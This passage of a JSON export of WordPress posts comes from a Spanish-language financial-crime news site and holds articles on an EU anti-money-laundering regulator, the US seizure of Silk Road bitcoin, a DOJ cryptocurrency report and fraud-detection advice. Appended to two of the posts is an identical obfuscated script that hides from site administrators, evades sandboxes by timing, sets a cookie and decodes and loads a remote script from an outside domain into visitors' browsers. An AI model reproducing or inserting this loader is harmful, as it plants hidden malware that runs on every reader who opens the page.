ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 